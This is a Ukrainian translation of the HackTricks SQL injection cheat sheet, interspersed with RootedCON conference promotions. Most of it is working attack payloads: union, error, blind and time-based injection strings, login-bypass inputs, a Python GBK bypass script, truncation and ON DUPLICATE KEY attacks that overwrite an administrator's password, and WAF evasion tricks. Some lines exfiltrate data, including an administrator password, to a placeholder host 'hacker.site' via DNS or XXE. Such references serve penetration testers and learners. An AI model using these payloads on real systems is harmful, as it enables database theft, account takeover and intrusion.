SQL Injection

Support HackTricks

​​​​RootedCON є найважливішою подією в сфері кібербезпеки в Іспанії та однією з найважливіших в Європі. З метою просування технічних знань, цей конгрес є гарячою точкою зустрічі для професіоналів у сфері технологій та кібербезпеки в усіх дисциплінах.

Що таке SQL-ін'єкція?

SQL-ін'єкція — це вразливість безпеки, яка дозволяє зловмисникам втручатися в запити до бази даних програми. Ця вразливість може дозволити зловмисникам переглядати, модифікувати або видаляти дані, до яких їм не слід мати доступ, включаючи інформацію інших користувачів або будь-які дані, до яких може отримати доступ програма. Такі дії можуть призвести до постійних змін у функціональності або змісті програми або навіть до компрометації сервера або відмови в обслуговуванні.

Виявлення точки входу

Коли сайт виглядає вразливим до SQL-ін'єкції (SQLi) через незвичайні відповіді сервера на запити, пов'язані з SQLi, першим кроком є розуміння того, як впроваджувати дані в запит, не порушуючи його. Це вимагає визначення методу ефективного виходу з поточного контексту. Це кілька корисних прикладів:

[Nothing]
'
"
`
')
")
`)
'))
"))
`))

Тоді вам потрібно знати, як виправити запит, щоб не було помилок. Щоб виправити запит, ви можете ввести дані, щоб попередній запит прийняв нові дані, або ви можете просто ввести свої дані та додати символ коментаря в кінці.

Зверніть увагу, що якщо ви можете бачити повідомлення про помилки або помітити відмінності, коли запит працює, а коли ні, цей етап буде легшим.

Коментарі

MySQL
#comment
-- comment     [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */

PostgreSQL
--comment
/*comment*/

MSQL
--comment
/*comment*/

Oracle
--comment

SQLite
--comment
/*comment*/

HQL
HQL does not support comments

Підтвердження за допомогою логічних операцій

Надійний метод підтвердження вразливості до SQL-ін'єкцій полягає в виконанні логічної операції та спостереженні за очікуваними результатами. Наприклад, GET-параметр, такий як ?username=Peter, що дає ідентичний контент при зміні на ?username=Peter' or '1'='1, вказує на вразливість до SQL-ін'єкцій.

Аналогічно, застосування математичних операцій слугує ефективною технікою підтвердження. Наприклад, якщо доступ до ?id=1 та ?id=2-1 дає той самий результат, це вказує на SQL-ін'єкцію.

Приклади, що демонструють підтвердження логічної операції:

page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false

Цей список слів був створений, щоб спробувати підтвердити SQL-ін'єкції запропонованим способом:

Підтвердження за допомогою часу

В деяких випадках ви не помітите жодних змін на сторінці, яку ви тестуєте. Тому хороший спосіб виявити сліпі SQL-ін'єкції - це змусити БД виконувати дії, які матимуть вплив на час, необхідний для завантаження сторінки. Отже, ми будемо конкатенувати в SQL-запиті операцію, яка займе багато часу для виконання:

MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)

PostgreSQL (only support string concat)
1' || pg_sleep(10)

MSQL
1' WAITFOR DELAY '0:0:10'

Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)

SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))

В деяких випадках функції затримки не будуть дозволені. Тоді, замість використання цих функцій, ви можете змусити запит виконувати складні операції, які займатимуть кілька секунд. Приклади цих технік будуть прокоментовані окремо для кожної технології (якщо такі є).

Визначення бекенду

Найкращий спосіб визначити бекенд - це спробувати виконати функції різних бекендів. Ви можете використовувати sleep функції з попереднього розділу або ці (таблиця з payloadsallthethings:

["conv('a',16,2)=conv('a',16,2)"                   ,"MYSQL"],
["connection_id()=connection_id()"                 ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')"                   ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)"       ,"MSSQL"],
["@@CONNECTIONS>0"                                 ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS"                     ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY"                           ,"MSSQL"],
["USER_ID(1)=USER_ID(1)"                           ,"MSSQL"],
["ROWNUM=ROWNUM"                                   ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')"                   ,"ORACLE"],
["LNNVL(0=123)"                                    ,"ORACLE"],
["5::int=5"                                        ,"POSTGRESQL"],
["5::integer=5"                                    ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()"       ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)"         ,"POSTGRESQL"],
["current_database()=current_database()"           ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()"               ,"SQLITE"],
["last_insert_rowid()>1"                           ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()"         ,"SQLITE"],
["val(cvar(1))=1"                                  ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0"               ,"MSACCESS"],
["cdbl(1)=cdbl(1)"                                 ,"MSACCESS"],
["1337=1337",   "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'",     "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],

Також, якщо у вас є доступ до виходу запиту, ви можете вивести версію бази даних.

У продовженні ми обговоримо різні методи експлуатації різних видів SQL Injection. Ми будемо використовувати MySQL як приклад.

Визначення з PortSwigger

Експлуатація на основі Union

Визначення кількості стовпців

Якщо ви можете бачити вихід запиту, це найкращий спосіб його експлуатувати. По-перше, нам потрібно дізнатися кількість стовпців, які початковий запит повертає. Це тому, що обидва запити повинні повертати однакову кількість стовпців. Для цієї мети зазвичай використовуються два методи:

Order/Group by

Щоб визначити кількість стовпців у запиті, поступово коригуйте число, використане в ORDER BY або GROUP BY клаузах, поки не буде отримано хибну відповідь. Незважаючи на різні функціональні можливості GROUP BY та ORDER BY в SQL, обидва можуть бути використані однаково для визначення кількості стовпців запиту.

1' ORDER BY 1--+    #True
1' ORDER BY 2--+    #True
1' ORDER BY 3--+    #True
1' ORDER BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True
1' GROUP BY 1--+    #True
1' GROUP BY 2--+    #True
1' GROUP BY 3--+    #True
1' GROUP BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True

UNION SELECT

Виберіть все більше і більше значень null, поки запит не буде правильним:

1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked

Ви повинні використовувати null значення, оскільки в деяких випадках типи стовпців з обох сторін запиту повинні бути однаковими, і null є дійсним у кожному випадку.

Витягти назви баз даних, назви таблиць та назви стовпців

У наступних прикладах ми будемо отримувати назву всіх баз даних, назву таблиці бази даних, назви стовпців таблиці:

#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata

#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]

#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]

Існує різний спосіб виявлення цих даних у кожній різній базі даних, але методологія завжди однакова.

Використання прихованого об'єднання

Коли вихід запиту видимий, але об'єднаний ін'єкцію здається неможливим, це свідчить про наявність прихованої об'єднаної ін'єкції. Цей сценарій часто призводить до ситуації сліпої ін'єкції. Щоб перетворити сліпу ін'єкцію на об'єднану, потрібно визначити запит виконання на бекенді.

Це можна зробити за допомогою технік сліпої ін'єкції разом з таблицями за замовчуванням, специфічними для вашої цільової системи управління базами даних (DBMS). Для розуміння цих таблиць за замовчуванням рекомендується звернутися до документації цільової DBMS.

Після того, як запит буде витягнуто, необхідно налаштувати ваш payload, щоб безпечно закрити оригінальний запит. Після цього до вашого payload додається запит об'єднання, що полегшує експлуатацію ново доступної об'єднаної ін'єкції.

Для більш детальної інформації зверніться до повної статті, доступної за посиланням Healing Blind Injections.

Використання на основі помилок

Якщо з якоїсь причини ви не можете бачити вихід запиту, але можете бачити повідомлення про помилки, ви можете використовувати ці повідомлення про помилки для екстракції даних з бази даних. Слідуючи подібному потоку, як у випадку з експлуатацією на основі об'єднання, ви можете змогти скинути базу даних.

(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))

Використання сліпого SQLi

У цьому випадку ви не можете бачити результати запиту або помилки, але ви можете відрізнити, коли запит повертає істинне або хибне значення, оскільки на сторінці є різний вміст. У цьому випадку ви можете зловживати цією поведінкою, щоб вивантажити базу даних символ за символом:

?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'

Використання помилок Blind SQLi

Це та сама ситуація, що й раніше, але замість того, щоб розрізняти істинну/хибну відповідь з запиту, ви можете розрізняти наявність помилки в SQL запиті чи ні (можливо, через те, що HTTP сервер зривається). Тому в цьому випадку ви можете примусити SQL помилку щоразу, коли правильно вгадаєте символ:

AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -

Використання SQLi на основі часу

У цьому випадку немає жодного способу відрізнити відповідь запиту на основі контексту сторінки. Але ви можете змусити сторінку завантажуватися довше, якщо вгаданий символ правильний. Ми вже бачили цю техніку раніше для підтвердження вразливості SQLi.

1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#

Stacked Queries

Ви можете використовувати stacked queries для виконання кількох запитів підряд. Зверніть увагу, що хоча наступні запити виконуються, результати не повертаються в додаток. Отже, ця техніка в основному корисна у зв'язку з сліпими вразливостями, де ви можете використовувати другий запит для виклику DNS-запиту, умовної помилки або затримки часу.

Oracle не підтримує stacked queries. MySQL, Microsoft та PostgreSQL їх підтримують: QUERY-1-HERE; QUERY-2-HERE

Out of band Exploitation

Якщо жоден інший метод експлуатації не спрацював, ви можете спробувати змусити базу даних ексфільтрувати інформацію на зовнішній хост, контрольований вами. Наприклад, через DNS-запити:

select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));

Витік даних поза каналом через XXE

a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -

Автоматизоване використання

Перевірте SQLMap Cheatsheet для експлуатації вразливості SQLi за допомогою sqlmap.

Технічна специфічна інформація

Ми вже обговорили всі способи експлуатації вразливості SQL Injection. Знайдіть ще кілька трюків, залежних від технології бази даних, у цій книзі:

Або ви знайдете багато трюків щодо: MySQL, PostgreSQL, Oracle, MSSQL, SQLite та HQL у https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection

​​​​​RootedCON є найактуальнішою подією в галузі кібербезпеки в Іспанії та однією з найважливіших в Європі. З місією просування технічних знань, цей конгрес є гарячою точкою зустрічі для професіоналів у сфері технологій та кібербезпеки в кожній дисципліні.

Обхід аутентифікації

Список для спроби обійти функціональність входу:

Login bypass List

Обхід аутентифікації за допомогою сирого хешу

"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"

Цей запит демонструє вразливість, коли MD5 використовується з true для сирого виходу в перевірках автентифікації, що робить систему вразливою до SQL-ін'єкцій. Зловмисники можуть скористатися цим, створюючи введення, які, коли їх хешують, виробляють несподівані частини SQL-команд, що призводить до несанкціонованого доступу.

md5("ffifdyop", true) = 'or'6�]��!r,��b�
sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-!

Обхід аутентифікації за допомогою інжектованого хешу

admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'

Рекомендований список:

Вам слід використовувати як ім'я користувача кожен рядок списку, а як пароль завжди: Pass1234. (Ці пейлоади також включені у великий список, згаданий на початку цього розділу)

GBK Аутентифікація Обхід

Якщо ' екранується, ви можете використовувати %A8%27, а коли ' буде екрановано, буде створено: 0xA80x5c0x27 (╘')

%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --

Python скрипт:

import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text

Поліглотна ін'єкція (мультиконтекст)

SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

Insert Statement

Modify password of existing object/user

To do so you should try to create a new object named as the "master object" (probably admin in case of users) modifying something:

  • Create user named: AdMIn (верхній та нижній регістри)

  • Create a user named: admin=

  • SQL Truncation Attack (коли є якийсь обмеження по довжині в імені користувача або електронній пошті) --> Create user with name: admin [багато пробілів] a

SQL Truncation Attack

If the database is vulnerable and the max number of chars for username is for example 30 and you want to impersonate the user admin, try to create a username called: "admin [30 пробілів] a" and any password.

The database will check if the introduced username exists inside the database. If not, it will cut the username to the max allowed number of characters (in this case to: "admin [25 пробілів]") and the it will automatically remove all the spaces at the end updating inside the database the user "admin" with the new password (some error could appear but it doesn't means that this hasn't worked).

More info: https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref

Note: This attack will no longer work as described above in latest MySQL installations. While comparisons still ignore trailing whitespace by default, attempting to insert a string that is longer than the length of a field will result in an error, and the insertion will fail. For more information about about this check: https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation

MySQL Insert time based checking

Add as much ','','' as you consider to exit the VALUES statement. If delay is executed, you have a SQLInjection.

name=','');WAITFOR%20DELAY%20'0:0:5'--%20-

ON DUPLICATE KEY UPDATE

Клаузула ON DUPLICATE KEY UPDATE в MySQL використовується для визначення дій, які база даних повинна виконати, коли робиться спроба вставити рядок, що призведе до дублювання значення в унікальному індексі або первинному ключі. Наступний приклад демонструє, як цю функцію можна експлуатувати для зміни пароля облікового запису адміністратора:

Example Payload Injection:

Вантаж для ін'єкції може бути створений наступним чином, де намагаються вставити два рядки в таблицю users. Перший рядок є приманкою, а другий рядок націлений на існуючу електронну пошту адміністратора з наміром оновити пароль:

INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";

Ось як це працює:

  • Запит намагається вставити два рядки: один для generic_user@example.com і інший для admin_generic@example.com.

  • Якщо рядок для admin_generic@example.com вже існує, спрацьовує клаузула ON DUPLICATE KEY UPDATE, яка інструктує MySQL оновити поле password існуючого рядка на "bcrypt_hash_of_newpassword".

  • Відповідно, аутентифікацію можна спробувати виконати, використовуючи admin_generic@example.com з паролем, що відповідає bcrypt хешу ("bcrypt_hash_of_newpassword" представляє bcrypt хеш нового пароля, який слід замінити на фактичний хеш бажаного пароля).

Витяг інформації

Створення 2 облікових записів одночасно

При спробі створити нового користувача потрібні ім'я користувача, пароль та електронна пошта:

SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -

A new user with username=otherUsername, password=otherPassword, email:FLAG will be created

Використання десяткових або шістнадцяткових

З цією технікою ви можете витягувати інформацію, створюючи лише 1 обліковий запис. Важливо зазначити, що вам не потрібно нічого коментувати.

Використовуючи hex2dec та substr:

'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

Щоб отримати текст, ви можете використовувати:

__import__('binascii').unhexlify(hex(215573607263)[2:])

Використовуючи hex та replacesubstr):

'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

​​​​​​RootedCON є найактуальнішою подією в сфері кібербезпеки в Іспанії та однією з найважливіших в Європі. З метою популяризації технічних знань, цей конгрес є гарячою точкою зустрічі для професіоналів у сфері технологій та кібербезпеки в усіх дисциплінах.

Routed SQL injection

Routed SQL injection - це ситуація, коли ін'єкційний запит не є тим, який дає вихід, але вихід ін'єкційного запиту йде до запиту, який дає вихід. (З документа)

Приклад:

#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a

WAF Bypass

Початкові обходи звідси

Обхід без пробілів

No Space (%20) - обхід за допомогою альтернатив пробілів

?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--

No Whitespace - обхід за допомогою коментарів

?id=1/*comment*/and/**/1=1/**/--

No Whitespace - обхід за допомогою дужок

?id=(1)and(1)=(1)--

No commas bypass

No Comma - обхід за допомогою OFFSET, FROM та JOIN

LIMIT 0,1         -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d

Generic Bypasses

Чорний список за допомогою ключових слів - обхід за допомогою великих/малих літер

?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#

Чорний список за допомогою ключових слів без урахування регістру - обхід за допомогою еквівалентного оператора

AND   -> && -> %26%26
OR    -> || -> %7C%7C
=     -> LIKE,REGEXP,RLIKE, not < and not >
> X   -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))

Обхід WAF за допомогою наукової нотації

Ви можете знайти більш детальне пояснення цього трюку в блозі gosecure. В основному, ви можете використовувати наукову нотацію несподіваними способами, щоб обійти WAF:

-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=

Bypass Column Names Restriction

По-перше, зверніть увагу, що якщо оригінальний запит і таблиця, з якої ви хочете витягти прапор, мають однакову кількість стовпців, ви можете просто зробити: 0 UNION SELECT * FROM flag

Можливо отримати доступ до третього стовпця таблиці без використання його назви за допомогою запиту, подібного до наступного: SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;, тому в sqlinjection це виглядатиме так:

# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;

Або використовуючи comma bypass:

# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c

Цей трюк був взятий з https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/

Інструменти для обходу WAF

Інші посібники

Список виявлення Brute-Force

​​​​​​​RootedCON є найважливішою подією в сфері кібербезпеки в Іспанії та однією з найважливіших в Європі. З метою просування технічних знань, цей конгрес є гарячою точкою зустрічі для професіоналів у сфері технологій та кібербезпеки в кожній дисципліні.

Підтримати HackTricks

Last updated